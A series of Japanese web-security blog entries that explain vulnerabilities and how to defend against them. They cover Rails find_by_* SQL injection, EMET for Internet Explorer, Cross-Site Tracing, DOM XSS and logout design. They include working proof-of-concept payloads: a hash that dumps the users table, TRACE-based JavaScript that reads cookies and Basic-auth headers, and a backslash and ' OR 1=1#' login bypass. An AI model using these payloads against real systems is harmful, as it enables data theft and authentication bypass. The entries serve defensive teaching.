モデルUserは個人情報を保持しており、自分自身の情報のみが閲覧できるという想定です。モデルBookは書誌データベースであり、すべて公開情報であるとします。

自動的に生成されたコントローラのshowメソッドは下記となっています。
  def show
@book = Book.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @book }
end
end
これが生成するSQL文は下記となります。
    SELECT "books".* FROM "books" WHERE "books"."id" = ? LIMIT 1 [["id", "1"]]
プレースホルダを用いてSQL文が生成されているので、いい感じです。
画面表示は下記となります。


次に、findメソッドをfind_by_idに変更してみます。
    @book = Book.find_by_id(params[:id])
生成されるSQL文は以下となります。プレースホルダを使っていないので嫌な感じです。
    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1
念のため、1の代わりに、1 or 1 = 1を指定してみましょう。検証のため、条件をハードコードします。
    @book = Book.find_by_id('1 or 1 = 1')
生成されるSQL文は下記となります。大丈夫ですね。
    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1
ところが、以下のように、find_by_idの引数をハッシュにすることで、任意のSQL文を指定できます。
    @book = Book.find_by_id({:select =>"name as author, email as title, id from users limit 1 --"})
生成されるSQLは以下の通りです。列名を合わせるために、SELECT文で別名を指定しています。本来のSQL文は--によりコメントアウトされています。
    SELECT name as author, email as title, id from users limit 1 -- FROM "books" WHERE "books"."id" IS NULL LIMIT 1
この際の表示は下記となります。本来、書誌情報が表示されるべきところに、個人情報が表示されてます。


以上のように、find_by_*のパラーメタとしてハッシュを指定することが出来れば、任意のテーブルの情報を取り出すことができることがわかりました。

攻撃経路について

私自身がRuby on Railsに詳しくないので、find_by_idの引数にハッシュを指定できる可能性がどれくらいあるのか評価できないのですが、この問題を最初に取り上げたブログ「Let Me Github That For You」によると、なんらかの理由でsecret_token.rbに定義されたsecret_token値が既知である場合(公開されたソースを修正しないでそのまま使っている場合など)に、セッションCookieを改変してuser_credentials_idに上記のハッシュをシリアライズしたものを埋め込む可能性を指摘しています。
しかし、secret_token 値が既知だという前提では、セッションの内容を第三者が改変できてしまうため、これ自体が重大な問題です。このため、この想定は少々乱暴なように思えます。それに、先のブログでは以下のように指摘されています。
The simple problem is, that most developers are simply not aware of the confidentiality of this file , and in result they 'll happly(happilyのtypoか?) check it into Github or other online repositories
試訳
単純な問題点は、大部分の開発者がこのファイル(注: secret_token.rb)を機密にすべきことを単に承知しておらず、その結果、開発者たちはそのファイルをご機嫌でGithubその他のオンラインレポジトリにチェックインして(その結果公開して)しまうことだ。
すなわち、ブログ「Let Me Github That For You」の趣旨は、Ruby on RailsのSQLインジェクションがあることの指摘ではなく、多くのアプリケーションがsecret_tokenを適切に秘匿していないことを問題視しているように私は感じました。

対策

既にRuby on Railsの対策版が公開されています(3.2.10, 3.1.9, 3.0.18)。Ruby on Rails 3.2.10で先と同じことをすると、生成されるSQL文は下記となります。
    SELECT "books".* FROM "books" WHERE "id"."select" = 'name as author, email as title, id from users limit 1 --' LIMIT 1
WHEREの後の"id"."select"が微妙な感じではありますが、実害はないでしょう。これにより、SQLインジェクション攻撃を防止しています。
また、すぐにRuby on Railsのバージョンアップが難しい場合の回避策が、SECLISTS.ORGに紹介されています。 find_by_*を呼び出している箇所を探して、以下のようなメソッド呼び出しがあれば、
  Post.find_by_id(params[:id])
以下のように文字列に変換します。これにより、ハッシュがfind_by_*メソッドに渡されることを防止できます。
  Post.find_by_id(params[:id].to_s)

まとめ

Ruby on Railsのfind_by_*メソッドのSQLインジェクション脆弱性について説明しました。find_by_*メソッドの引数にハッシュが渡る可能性の評価については、私にはできませんので、Ruby on Railsに詳しい方の評価を待ちたいと思います。

追記(2013/1/4 2:10)

twitterにて、@hasimoさんから、この問題の優れた解説「Rails SQL injection vulnerability: hold your horses, here are the facts」を紹介いただきました。これによると、クエリ文字列 id[select]=xxxx の形でパラメタidにハッシュを与えることはできるが、ハッシュのキーが文字列になるためにSQLインジェクションには至らないということでした。ためしてみると、確かにそうなります。

アプリケーションに以下のクエリ文字列を指定して呼び出した場合、
    id[select]=name+as+author,+email+as+title,+id+from+users+limit+1+--
Ruby on Railsアプリケーションの受け取る値は下記となります。
    {"select"=>"name as author, email as title, id from users limit 1 --"}
一見、先のPoCと似ていますが、ハッシュのキーが、PoCではシンボル :select であるのに対して、クエリ文字列の場合は、キーが文字列 "select" です。そして、キーが文字列の場合は、SQLインジェクションにはなりません。

上記から考えても、CVE-2012-5664によってSQLインジェクションの攻撃を受けるシナリオというのは、ゼロではないにしても、相当レアなケースであると考えられます。

しかしながら、SQLインジェクション攻撃の影響は甚大です。できる限り、Ruby on Railsの対策版へのバージョンアップか、上記回避策の導入を推奨いたします。

EMET3.5でIEを防御する(CVE-2012-4792)

$
0
0
先のエントリ「IE6,7,8のゼロデイ脆弱性(CVE-2012-4792)の対処法」で紹介したIE6~8のゼロデイ脆弱性(CVE-2012-4792)については、Fix Itによる回避策が提供されていますが、これを回避する攻撃が開発されたようです。
Researchers at Exodus Intelligence reported today they have developed a new attack that bypasses the FixIt issued by Microsoft. They were able to bypass and compromised a fully-patched system using some variation of the exploit published this week.
https://isc.sans.edu/diary/14824
試訳
Exodus Intelligenceの研究者たちは、Microsoftから提供されたFixItをバイパスする新しい攻撃を開発したと今日報告した。彼らは、今週発表されたexploitのいくつかのバリエーションを使用して、完全にパッチを適用したシステムをバイパスして危殆化することに成功した。 
一方、EMET(Enhanced Mitigation Experience Toolkit) 3.5を用いて、CVE-2012-4792の攻撃を回避できたとする報告もあるようです。EMETは元々Microsoftが回避策として提案していたツールです。
EMETは少し扱いの難しいツールですが、業務の都合上などでどうしてもWindows XP上のIE8以下のブラウザを使用しなければならないケースを想定して、Windows XP上にEMET 3.5 Tech Previewを導入して、IE用の設定をする方法を説明します。効果などは、前述のブログ記事を参照下さい。

EMET 3.5のダウンロードと導入

EMET 3.5の導入は以下のURLから可能です。

http://www.microsoft.com/en-us/download/details.aspx?id=30424


右下のDOWNLOADをクリックすると、ダウンロードが始まります。インストールは特に難しいところはありません。

EMET 3.5の設定

インストールが終了したら、EMETを起動します。


右下のConfigure Appsというボタンをクリックします。


Application Configurationというダイアログが表示されます。FileメニューからImport ...をクリックします。ファイル選択のダイアログが表示されます。



C:\Program Files\EMET (Tech Preview)\Deployment\Protection Profiles\Internet Explorer.xmlというファイルを開きます。これは、IE用の設定を予め記述したものです。


上記は、Application ConfigurationダイアログのAllタブをクリックした状態です。EMET3.5では、上記のように多くのメモリ保護の手段が提供されており、IEに対しては、そのすべてが有効となっています。これら機構のいずれかが働くことによって、任意のコマンド実行を防ぎます。

注意

合同会社セキュリティ・プロフェッショナルズ・ネットワークの塩月誠人さんに教えていただいたところによると、IEのアドオンによっては、誤検知によりIEごと落ちてしまうようです。その場合は、原因となったアドオンを無効にするか、EMET側の対応するルールを無効にする必要があります。
また、EMETはかなり強力なツールではありますが、IEの更新プログラムの代わりになるものではありませんで、IEの更新プログが提供され、適用するまでは、IEの使用は最小限に留めることをおすすめします。
企業等で導入する場合は、事前に十分にテストしてから展開してください。

追記(2013/1/9 15:50)

北河さん(@kitagawa_takuji)から、前述のExodus IntelligenceはEMETもバイパスできると主張していることを教えていただきました。北河さん、ありがとうございます。


まだこのツイートのみで詳細は不明ですが、EMETは有力なツールではあるものの過信は禁物であり、IE8以前の使用は社内システムなど必要最低限に留めるべきであることをあらためて強調したいと思います。


実はそんなに怖くないTRACEメソッド

$
0
0
Cross-Site Tracing(XST)という化石のような攻撃手法があります。「化石」と書いたように、既に現実的な危険性はないのですが、XSTに関連して「TRACEメソッドは危険」というコメントを今でも見ることがあります。
このエントリでは、XSTという攻撃手法について説明し、XSTおよびTRACEメソッドについてどう考えればよいかを紹介します。

TRACEメソッドとは

HTTP 1.1(RFC2616)では、8種類のメソッドが定義されています。GET、POST、HEADなどはおなじみのものですが、それ以外にPUT、DELETE、OPTIONS、TRACE、CONNECTの5種があります。
このうち、TRACEメソッドは、HTTPリクエストを「オウム返しに」HTTPレスポンスとして返すもので、以下のようにGET等の代わりにTRACEとしてWebサーバーにリクエストします。
TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive
レスポンスの例を以下に示します。
HTTP/1.1 200 OK
Date: Tue, 22 Jan 2013 13:51:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: message/http
Content-Length: 198

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive

レスポンスボディ(青字の部分)に注目すると、HTTPリクエストがそのまま返されていることが分かります。この中には、CookieヘッダやAuthorizationヘッダも含まれます。

Cross-Site Tracing(XST)攻撃とは

XST攻撃とは、XSSとTRACEメソッドを組み合わせた攻撃手法であり、2003年1月に発表されました
XSS単独では、XSSによりJavaScript等が動いているブラウザ上のレスポンス(ヘッダ及びボディ)は取得出来ますが、リクエストヘッダを取得することはできません。このため通常は、HttpOnly属性の指定されたCookieや、Authorizationヘッダ(Basic認証のIDとパスワード)を取得することはできません。
しかし、TRACEメソッドを実行すると、先に見たようにリクエストヘッダがそのままレスポンスとして返るので、XSS単独ではとることのできないHttpOnly属性の指定されたCookieや、Authorizationヘッダを盗み出すことができます。これがXST攻撃です。とくに、BASIC認証のIDとパスワードを盗むことができると、長期にわたって不正にログインすることができてしまうため、XSSの影響が大きくなります。

XST攻撃の実際

それでは、XST攻撃の実際を見てみましょう。以下はXST攻撃のコード例です。
<body>
<script type="text/javascript">
function sendTrace (trace) {
try {
var xhr = 0;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
if (trace == 1) {
xhr.open("TRACE", "/auth/", false);
} else if (trace == 2) {
xhr.open("\nTRACE", "/auth/", false);
} else {
xhr.open("GET", "/auth/", false);
}
xhr.send();
res = xhr.responseText;
alert(res);
} catch (e) {
alert('Error:' + e.message);
}
}
</script>
<input type="button" onclick="sendTrace(0);" VALUE="GET">
<input type="button" onclick="sendTrace(1);" VALUE="TRACE">
<input type="button" onclick="sendTrace(2);" VALUE="\nTRACE">
</body>
Windows XP SP1のIE6での実行結果は下記となります。CookieとAuthrizationヘッダが取得できていることがわかります。この場合、HttpOnlyのCookieでも取得出来ます。


さて、Windwos XP SP1というと、とっくにサポートが切れているバージョンですが、より新しいバージョンのWindowsではどうでしょうか。Windows XP SP2(SP2を適用し他のパッチは適用していないもの)の場合、実行結果は下記となります。


JavaScriptの例外が発生しています。これは、TRACEメソッドをXMLHttpRequestオブジェクトから発行することが禁止されたことを意味しています。
しかし、このチェックには漏れがあり、"TRACE"の代わりに、"\nTRACE"(先頭に改行を含む)の場合は、TRACEメソッドが通ってしまいます。この内容については金床さんの記事が参考になります。

このチェック漏れですが、SP2に対するパッチで修正された模様で、SP2にすべてのパッチを適用したIE6だと、エラーになります。

XSTがブラウザ側で対策されたのはいつ?

さて、現在ではすべてのブラウザでXST対策がとられ、XST攻撃を行うことはできなくなっています(参考:XMLHttpRequestオブジェクトを使ったTRACEメソッド送信のブラウザ対応状況を確認してみる)。それでは、ブラウザ側でXST対策されるようになったのはいつ頃でしょうか。
上記のように、Windows XP SP2では不完全ながらXSTの対策がとられていますが、Windows XP SP2が出荷されたのは2004年9月ですから、当時既に「XSTはブラウザ側で対処すべし」という意識になっていたと思われます。また、GSXの白石さんの調査によると、IE以外のブラウザでXST攻撃ができたのは、Firefoxの1.0.5(2005年9月リリース)までであり、2005年11月リリースのFirefox1.5では攻撃が抑止されています。その他の、Opera、Google Chrome、Safariについては、XST可能なバージョンはありません。

これらの状況から、主要ブラウザに関しては2006年頃の段階では既にXSTの対策を終えており、現在サポートが継続されているバージョンについては、XST攻撃可能なブラウザはないと言えます。

XSTおよびTRACEメソッドをどのように捉えるか

このような状況にあるにも関わらず、最近でも「TRACEメソッドは危険」という記事を見かけることがあります(参考:TRACEメソッドって怖いんです - カイワレの大冒険)。しかし、以下の理由により、TRACEメソッドが危険というのは、あたらなくなっているというのが実情ではないでしょうか。
  • XSTは元々XSS脆弱性が存在しないと危険性はない
  • XSS単独でも危険な脆弱性である
  • XSTがなくてもXSS単体でBASIC認証のあるコンテンツを盗むことはできる
  • 主要ブラウザでは5年ほど前からXST防御機能が入っている
  • 古いブラウザを使うこと自体が大変危険な行為である
それにも関わらず、TRACEメソッドはWebサーバー側で止めておけと言われている理由は下記理由からです。
  • XSTで万一BASIC認証のパスワードが漏洩すると影響が長期に及ぶ
  • XSSを完全に排除することは実際には困難である
  • TRACEメソッドはApacheの設定で極めて容易に止めることができ、副作用もない
つまり、現在ではXSTの危険性はほとんどないが、TRACEを止めることは簡単に実現でき副作用もないので「TRACEを止めておけば安心」という程度のものであるわけです。

このため、TRACEをサーバー側設定で禁止することはやってもよいと思いますが、いまやTRACEを許容しているからと言って、サーバー設定の脆弱性とまでは言えないと考えられます。

脆弱性診断の実務では、TRACEメソッドを許容した状態を多くの診断業者は指摘すると考えられますが、危険度は「情報」(脆弱性とまでは言えないが一応ご報告)が妥当と考えます。今時、TRACEメソッドの許容を「重大な脆弱性」と指摘する事業者がもしあれば、それはちと過剰な指摘だなと個人的には考えます。

IPAから『DOM Based XSS』に関するレポート出ました

$
0
0
DOM Based XSSに関しては、IPA「安全なウェブサイトの作り方」でも、拙著でもごく簡単にしか触れておらず、まとまった解説が要望されていましたが、本日(2013年1月29日)にIPAから「IPA テクニカルウォッチ『DOM Based XSS』に関するレポート」が公開されました。
同冊子の目次は下記の通りです。
はじめに
1. DOM Based XSSの概要
2. IPAに報告されたDOM Based XSSの脆弱性
3. DOM Based XSSの事例
4. DOM Based XSSの対策方法
コラム
おわりに
IPAのレポートと言うことで、DOM based XSSの届出の状況も説明されています。以下にグラフを引用します。


一見して「急増」していることと、昨年の10月から12月の3ヶ月で92件も届出があったということで、対策が急務となっている状況が見て取れます。これは、この時期に「脆弱なサイトやアプリが増えた」ということでは恐らくなく、潜在的に脆弱な状況であったものが発見され、届出されたということだと理解しています。

1章では、XSSの種類や、DOMとは何かというところから説明されています。本書の対象読者は一応DOMについては知っているはず(べき)だとは思いますが、この機会に理解を整理していただくとその後のDOM based XSSの理解が容易になると思います。
2章は届出の概要、3章は届け出られた脆弱性の中から4例を脆弱なコードとともに紹介しています。やはり「脆弱なコードの現物」は貴重ですし、勉強になることが多いと思いました。
4章は対策をコード例とともに載せています。原則はDOM操作用のメソッドやプロパティを使うことですが、document.writeやinnerHTMLを使わざるを得ないケースについては、文脈に応じたエスケープについて説明しています。

さて、徳丸はIPA非常勤研究員として、同冊子のレビュアーという形で参画していますが、DOM based XSSがテーマだけに、「あー、○○さんにもレビューいただけたらなぁ」(○○さんは複数)と思うことしきりでした。それだけに、今回公開して終わりと言うことではなく、さまざまな方からの知見を集めて、より良いものにしていきたいと希望しております。

なお、このエントリは個人の見解として書いているものであり、IPAとしての見解ではないことを付記いたします。

ログアウト機能の目的と実現方法

$
0
0
このエントリでは、Webアプリケーションにおけるログアウト機能に関連して、その目的と実現方法について説明します。

議論の前提

このエントリでは、認証方式として、いわゆるフォーム認証を前提としています。フォーム認証は俗な言い方かもしれませんが、HTMLフォームでIDとパスワードの入力フォームを作成し、その入力値をアプリケーション側で検証する認証方式のことです。IDとパスワードの入力は最初の1回ですませたいため、通常はCookieを用いて認証状態を保持します。ログアウト機能とは、保持された認証状態を破棄して、認証していない状態に戻すことです。

Cookieを用いた認証状態保持

前述のように、認証状態の保持にはCookieを用いることが一般的ですが、Cookieに auth=1 とか、userid=tokumaru などのように、ログイン状態を「そのまま」Cookieに保持すると脆弱性になります。これについては、以前のエントリ「CookieにログインIDを保存してはいけない」にて説明しました。
このため、通常はセッション変数にログイン状態を記録し、CookieにはセッションIDのみを保存します。セッション変数であれば、外部から書き換えることは不可能なので、Cookieに生の値を入れる方法に比べて安全です。

ログアウト機能は本当に必要なのか?

ここで、Webアプリケーションにおいて、本当にログアウト機能が必要なのかを検討します。
仮に、ログイン機能のあるWebアプリケーションにログアウト機能がない、あるいはログアウト機能が不完全である場合、脆弱性診断業者は、この状態を脆弱性と指摘しますが、通常は「低危険度の脆弱性」と判定すると思います。なぜ、低危険度なのでしょうか。

実は私達は、ログアウト機能のない認証方式を知っています。それはHTTP認証(BASIC認証やダイジェスト認証の総称)です。HTTP認証の場合、サーバー側で認証状態は保持せずにリクエスト毎に認証するので、そもそもログアウトという概念がない(認証状態を保存しないので破棄の必要がない)のですが、利用者が入力したIDとパスワードをブラウザが一時的に保存するため、外見上は「ログイン状態が保持されている」ように見えます。
HTTP認証はログアウトができないので不便だという意見はよく目にしますし、それを克服するため、401応答ヘッダを返すことでHTTP認証のログアウトを実現するという例も見かけます。しかし、一般的には、HTTP認証はログアウトができない(ブラウザがIDとパスワードを保持したままになる)ので、以下のような「運用で対処」している場合が多いでしょう。

  • ブラウザを終了する(HTTP認証のID・パスワードは消える)
  • ブラウザの機能によりHTTP認証のID・パスワードを消去する

ブラウザによる認証情報消去機能の例として、Firefoxの画面を以下に紹介します。以下は「最近の履歴を消去」メニューにより表示されるダイアログです。


ここで「現在のログイン情報」にチェックして「今すく消去」ボタンをクリックすると、HTTP認証のIDとパスワードが消去され、見かけ上はログアウトしたように見えます。
これと類似のことは、フォーム認証でもできます。セッションCookie(Expires指定のないCookie)はブラウザの終了と共に消えますし、ブラウザの機能によりCookieを削除することもできます。すると、利用者からは、認証していない状態、すなわちログアウトした状態に見えます。

以上のように、我々は「ログアウト機能のない世界」を知っており、一応それを受け入れていることになります。もしもHTTP認証にログアウト機能(アプリケーションからHTTP認証情報を破棄する機能)がないことが本質的に危険であれば、たとえばJavaScriptの機能としてHTTP認証情報を破棄するメソッドが実装されてもよさそうなものですが、そのような機能はありません。

HTTP認証とフォーム認証では、状態保持の場所が違う

ここで、HTTP認証とフォーム認証では、状態保持の場所が異なることを確認します。
HTTP認証は、認証状態を保持しておらず、リクエスト毎に認証処理が動きますが、利便性のため、一度入力したIDとパスワードはブラウザがキャッシュしています。
一方、フォーム認証の一般的な実装では、認証結果をセッション変数に記憶します。セッション変数はサーバー側で保存する場合が多いので、結果として、認証状態はサーバー側で保持していることになります。以上の内容を下表に整理します。

保持する内容保存場所
BASIC認証IDとパスワードブラウザ
フォーム認証認証結果サーバー

すなわち、フォーム認証の場合、セッションIDのクッキーを消しただけでは、サーバー側に認証状態は残ったままということになります。

ログアウト機能がないと困ること

先に、HTTP認証ではアプリケーション側でのログアウト機能が一般的でなく、我々はそれを受け入れていると説明しましたが、フォーム認証も含め、ログアウト機能がないことで困ることを検討します。

まず問題になるのは、共有PCを使っている場合や、離席中のパソコンを勝手に使われるケースです。この場合、ログインしたままのアプリケーションがあれば、それを勝手に使われ、なりすましができてしまいます。

これに対しては、以下の回避策があります。
  • 共有PCでは認証機能のあるアプリケーションを使わない
  • 共有PC使用後はブラウザを閉じる
  • アプリケーションのセッションタイムアウト時間を短くする。セッションタイムアウトすると認証情報も破棄される
  • 離席中のPCを使われること自体が重大な問題なので、離席時にはPCをロックする
  • 同じく、離席中はノートPCを持ち歩く
次に検討するのは、クロスサイト・スクリプティング(XSS)やクロスサイト・リクエストフォージェリ(CSRF)の回避策としてのログアウト機能です。これら受動的攻撃は、ログアウト状態であれば、セッションハイジャックやCSRFによる重要な機能の悪用は避けることができます。

最後に、仮に通信路上でセッションIDが盗聴された場合でも、ログアウトしてしまえば、それ以降の悪用を避けることができます。セッションIDが盗聴されるシナリオでは、ログイン時のIDとパスワードも盗聴されるとも考えられますが、以下のようなサイトであれば、「IDとパスワードは盗聴されないが、セッションIDは盗聴される」という状況は起こりえます。
  • 認証フォームはSSLでIDとパスワードを暗号化して送信している
  • 認証後のページは平文のHTTPであり、セッションIDも平文送信される
このようなサイトの場合、利用者がログアウトすると、その後のセッションハイジャックは止めることができます。

ログアウト機能の効用のまとめ

以上に見てきたように、ログアウト機能は本質的に何かを解決する機能ではありません。何か悪いことが起こった際に、被害を軽減するものでしかありません。下表に、ログアウト機能による被害権限の内容と、対応する根本的解説策をまとめました。

ログアウトによる被害軽減根本的解決策
離席中のなりすましの防止離席中はPCをロックする、あるいはノートPCを持って移動する
共有PCによるなりすましの防止共有PCではログインしない、あるいは利用後にブラウザを閉じる
XSS被害の軽減XSS脆弱性をなくす
CSRF被害の軽減CSRF脆弱性をなくす
セッションID盗聴の被害軽減サイト全体をSSLで暗号化する

このため、HTTP認証でログアウト機能がないことも、「不便だが本質的ではないので許容しよう」ということになっているのでしょう。

ログアウト機能の実装法

ここからは、フォーム認証におけるログアウト機能の実装方法について説明します。
認証状態はセッション変数に保持されているので、以下のいずれかにより、確実に認証状態を破棄することができます。
  • セッション自体を破棄する
  • 認証状態を保持するセッション変数に「ログインしていない」ことを示す値を代入する
PHPの場合、セッションの破棄は以下で実現出来ます。
session_destroy();
しかし、このままだとセッション変数の値までは破棄されません。このため、ログアウト処理のページで、ログアウト機能以外にも実行する場合は、以下のようにセッション変数の破棄も行うと良いでしょう。
session_start();
$_SESSION = array();
session_destroy();
個人的には、ログアウトページでログアウト以外のことをするシナリオは想像がつきませんが、絶対にないとは言い切れないので、保険的にセッション変数の破棄もやっておくとよいということです。

また、ショッピングサイトなどで、ログアウトはするがセッションは破棄したくないという場合も有り得ます。その場合は、下記のように、認証状態のみをクリアします。

$_SESSION['userid'] = false;


セッションIDのCookieを破棄する必要はあるか

PHPのマニュアルのsession_destroy()関数の説明には、ログアウト時にはセッションIDのクッキーを削除しなければならない(原文は"the session cookie must be deleted")とあります。
セッション ID の受け渡しに クッキーが使用されている場合(デフォルト)には、セッションクッキーも 削除されなければなりません。
http://www.php.net/manual/ja/function.session-destroy.phpより引用
しかし、私は、セッションIDのクッキー(PHPのデフォルトはPHPSESSID)は削除する必要はないと考えます。その理由は、セッションが破棄された状態では、セッションIDは単なる乱数であり、攻撃の余地はないからです。

これはホテルのカードキーに例えることができます。最近のホテルはカードキーを採用するところが増えていますが、カードキーにも二種類あり、部屋ごとのカードを使いまわす場合と、チェックアウトのたびにカードキーをリセットして、別のカードキーを使う場合があります。
後者の場合、チェックアウト済みのカードキーには価値がないので、顧客が記念に持ち帰ってもよいところも多いですね。
セッション変数はホテルの部屋に例えることができます。部屋にアクセスするにはカードキー(セッションID)が必要です。顧客は滞在中カードキーさえあればいつでも部屋(セッション変数)にアクセスできますが、チェックアウト(ログアウト)すると、部屋にアクセスできなくなります。入室できないカードキーには意味が無いので、持ち帰っても差し支えないというわけです。

セッションIDには、記念品としての意味はありませんが、認証状態を破棄するという意味においては、ブラウザ側に残っていても不具合はありません。これが、「ログアウト時にセッションIDのCookieを破棄する必要はない」という根拠になります。

セッションIDのCookieを削除したい理由

とはいえ、セッションIDのCookieを削除してはいけない理由もないので、場合によっては削除してもよいでしょう。セッションIDのCookieを削除したくなる理由をいくつか考えてみました。他にもあればご指摘下さい。

  • 不要なものが出続けるのはなんとなく気持ち悪い
  • リクエストヘッダが不要なCookieのサイズ分大きくなるのは非効率である
  • プライバシーポリシーにおいて、Cookieはログイン中のみ使用すると約束している
  • ログアウト後もCookieが送信されることにより、トラッキング等の「あらぬ疑い」をかけられたくない

私は、セキュリティコンサルタントとしては珍しく(?)、余計なこと(保険的対策としても効果の薄いもの)をするのは嫌いなので、「Cookieが残るのは許容してもいい」という意見ですが、Cookieを削除すべきでないとまでは思いません。

脆弱性診断の実務として、ログアウト後にセッションIDのCookieが残ることを指摘する業者はあるかもしれませんが、指摘したとしても「情報」(脆弱性とまでは言えないが一応ご報告)というレベルだと思います。


まとめ

  • ログアウト機能の目的は、セッションハイジャックなどに対する保険的対策である
  • ログアウト機能の実現方法は、セッションを破棄するか、認証状態を保持するセッション変数をクリアすることである
  • ログアウト時にセッションIDのCookieを削除する必要はないが、別の理由があれば削除してもよい

自己流のSQLインジェクション対策は危険

$
0
0
SQLインジェクションについて解説したブログ記事を読んだところ、ユニークな対策方法が紹介されていました。この対策方法の問題点について解説し、正しい脆弱性対処の重要性を説明します。

ユニークなSQLインジェクション対策


SQLインジェクションのブログ記事を読んでいて、対策として以下のスクリプトが紹介されていました。
$_GET[id]=strip_tags(htmlspecialchars($_GET[id]));
$_GET[id]=preg_replace(array(‘/[~;\'\"]/’,'/–/’),”,$_GET[id]);
現在は当該のスクリプトは削除されているので、当該エントリは参照せず、「昔々あるところにこのようなSQLインジェクション脆弱性対処スクリプトがあった」という想定で以下の議論を進めます。

問題点の説明

このスクリプトはいくつかの問題点があります。
  • $_GETを直接変更していて汎用性が乏しい
  • idをクォートしていないなどいくつかの文法エラー
  • 表示前提でないのにHTMLエスケープしている
  • HTMLエスケープした後strip_tagsを呼んでいるが、この段階ではタグはエスケープ済みなので、strip_tagsは何もしない
  • 「危険な文字」を削除するサニタイジング手法を用いている
このままでは動かすことができないので、以下のようにsanitize関数として少し修正したものを紹介します。
function sanitize($str) {
  $str = strip_tags(htmlspecialchars($str));
  return preg_replace(array('/[~;\'\"]/', '/-/'), '', $str);
}
この関数に、さまざまな文字を通した結果を下表に紹介します。

入力文字htmlspecialcharsstrip_tagspreg_replace(最終)
AAAA
5555
<&lt;&lt;&lt
>&gt;&gt;&gt
&&amp;&amp;&amp
"&quot;&quot;&quot
'''(空)
\\\\
;;;(空)
---(空)
~~~(空)
####

HTMLエスケープの対象となる < > & " の4文字は、文字実体参照に変換された後、preg_replace関数でセミコロンを削除してしまうので、中途半端な妙な文字化けになりそうです。
一般的な原則としては、データベースにはHTMLの形ではなくプレーンテキストの形で保存しておき、HTMLとして表示する直前にHTMLエスケープする方法で統一することで、上記のような文字化けやエスケープ漏れをなくすことがよいでしょう。

脆弱性はないのか

このsanitize関数に脆弱性はないでしょうか。上表のように、バックスラッシュ(円記号)を素通ししているので、MySQLや、設定によってはPostgreSQLの場合に、問題が生じそうです。以下、それを説明します。以下の説明では、MySQLを使う想定とします。
以下のように、ログイン処理を想定したSQL文組立があったとします。
$sql = sprintf("SELECT * FROM users WHERE id='%s' AND pwd='%s'", sanitize($id), sanitize($pwd));
ここで、$idと$pwdが以下だったとします。
$id = '\\';   // \ 1文字
$pwd = 'password';
$sqlは下記となります。
SELECT * FROM users WHERE id='\' AND pwd='password'
ここで、id=の後の文字列リテラルはどこまででしょうか。\'は「シングルクォートを\でエスケープしたもの」、すなわちリテラル内の文字と解釈されるので、その次のシングルクォートまでが文字列リテラルになります。つまり、 AND pwd=まで(黄色でマークした部分)が文字列リテラルと解釈されます。その後の password' は「文字列リテラルの外」、すなわちSQL文の構文と解釈されますが、SQL文として正しくないので、このSQL文は構文エラーになります。
それでは、passwordのところをSQL文として正しくなるように変更したらどうでしょうか。これがSQLインジェクション攻撃です。その例を以下に示します。
$id = '\\';   // \ 1文字
$pwd = ' OR 1=1#';
組み立てられたSQL文は以下となります。
SELECT * FROM users WHERE id='\' AND pwd=' OR 1=1#'
passwordの代わりに、OR 1=1(青くマークした部分)が正しいSQL文(の一部)となります。#以降はMySQLのコメントとして無視されます。すなわち、これで認証回避が可能となりました。

「自己流の脆弱性対策」の危険性

以上に説明したように、htmlspecialchars、strip_tags、preg_replaceの三種類の関数を使った「独自の」でSQLインジェクション対策には抜けがあり、SQLインジェクション攻撃を許してしまう可能性があることがわかりました。
SQLインジェクションを含めて、脆弱性対処の方法論は、世界中の専門家がさまざまな観点から研究しています。SQLインジェクション対策に関しては、数年前から「究極形」がわかっており、特別な事情のある場合を除いて、わざわざ別の方法を用いる必要はないでしょう。特別な場合とは以下の様なケースです。
  • データベースアクセスを含むフレームワークを新たに開発する場合
  • O/Rマッパーを自作する場合
  • phpMyAdminのようなデータベース管理ツールを自作する場合
大半の開発者は、上記を作らないでしょう。だから、以下に示す、SQLインジェクション対策の「究極形」に従うことを強く推奨します。それは下記のとおりです。
  • 文字列連結(sprintf等を含む)を用いてSQL文を組み立てない
  • 静的プレースホルダを用いてSQL文にパラメータを割り当てる
  • データベース接続時に文字エンコーディングを指定する
上記の理論的な根拠については、IPAの「安全なSQLの呼び出し方」を参照下さい。また、PHP+PDOを用いた実際的なSQLアクセスの方法については、「PDOにおける一応の安全宣言と残る問題点」を参照下さい。
また、SQLインジェクション対策の解説をこれから書こうとする人には、ぜひajiyoshiさんの素晴らしいブログ記事「Webアプリケーションとかの入門本みたいのを書く人への心からのお願い。」をお読み下さい。このような文章が、現場の開発者から出てくることは本当に素晴らしいことです。

まとめ

自己流の脆弱性対処の危険性について、具体例を用いて説明しました。SQLインジェクションは、非常に危険な脆弱性ですが、完全な対処の仕方が分かっていて、正しいプログラミングをする限り恐れる必要はありません。ここで紹介した解説資料を参照して、あなたのWebサイトを安全にしてください。



クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される

$
0
0
日経Linux 2013年1月号に「“誤認逮捕”を防ぐWebセキュリティ強化術」を書き、それが今週4回連載で、ITproに転載されました。この中で、クロスサイトリクエストフォージェリ(CSRF)対策について説明しましたが、クッキーモンスターバグ(Cookie Monster Bug)がある場合に対策が回避されることに気がつきました。
それでは、どのような対策が望ましいかを考えてみると、中々難しい問題です。以下、その内容について検討します。

解決すべき課題の整理

